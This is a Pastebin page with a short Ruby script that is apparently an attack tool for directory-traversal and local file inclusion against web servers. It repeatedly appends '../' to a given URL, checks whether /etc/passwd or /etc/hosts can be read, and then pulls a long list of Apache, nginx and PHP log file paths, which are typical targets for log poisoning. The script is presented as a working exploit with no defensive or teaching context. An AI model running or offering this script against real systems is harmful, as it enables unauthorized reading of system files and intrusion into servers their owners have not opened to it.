Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env ruby
- require 'net/http'
- require 'uri'
- start = Time.now
- def getLogs(url, logs)
- logs.each{ |currentLog|
- uri = URI(url+currentLog)
- body = Net::HTTP.get(uri)
- puts "#{body.size}\t#{uri}"
- }
- end
- def testPasswd(url)
- passwd = "etc/passwd"
- toReq = url + passwd
- root = "root:x:0:0:root:/root:/bin/bash"
- uri = URI(toReq)
- body = Net::HTTP.get(uri)
- if body.include?(root)
- return uri
- end
- end
- def testHosts(url)
- hosts = "etc/hosts"
- toReq = url + hosts
- ip = "127.0.0.1"
- host = "localhost"
- uri = URI(toReq)
- body = Net::HTTP.get(uri)
- if body.include?(host) && body.include?(ip)
- return uri
- end
- end
- unless ARGV.length == 1 #Verify if url is given
- puts "Missing arguments"
- exit
- end
- url = URI.decode(ARGV[0])
- nro = 5
- ret = "../"
- logs = ['error.log', 'error_log', 'etc/httpd/conf/logs/error_log', 'etc/httpd/logs/error_log',
- 'home/php5/logs/error_log', 'log/error.log', 'log/error_log', 'logs/error.log',
- 'logs/error_log', 'usr/local/apache/error.log', 'usr/local/apache/log/error_log',
- 'usr/local/apache/logs/error_log', 'usr/local/apache2/log/error_log',
- 'usr/local/apache2/logs/access_log', 'usr/local/apache2/logs/error.log',
- 'usr/local/apache2/logs/error_log', 'usr/local/apachessl/logs/error_log',
- 'usr/local/httpd/log/error_log', 'usr/local/httpd/logs/error_log',
- 'usr/local/php/log/error_log', 'var/apache2/logs/access_log', 'var/apache2/logs/error_log',
- 'var/log/apache/error_log', 'var/log/apache2/access.log', 'var/log/apache2/access_log',
- 'var/log/apache2/error.log','var/log/apache2/error_log', 'var/log/httpd-access.log',
- 'var/log/httpd-error.log', 'var/log/httpd/access_log', 'var/log/httpd/error_log',
- 'var/log/nginx/error.log', 'var/log/php-fcgi/error_log',
- 'var/log/php-fpm/err.log', 'var/www/logs/access_log', 'var/www/logs/error_log']
- nro.times { |c|
- url = url + ret
- passwd = testPasswd(url)
- hosts = testHosts(url)
- if passwd || hosts
- getLogs(url, logs)
- fin = Time.now - start
- puts "El script tardo #{fin}"
- exit
- end
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement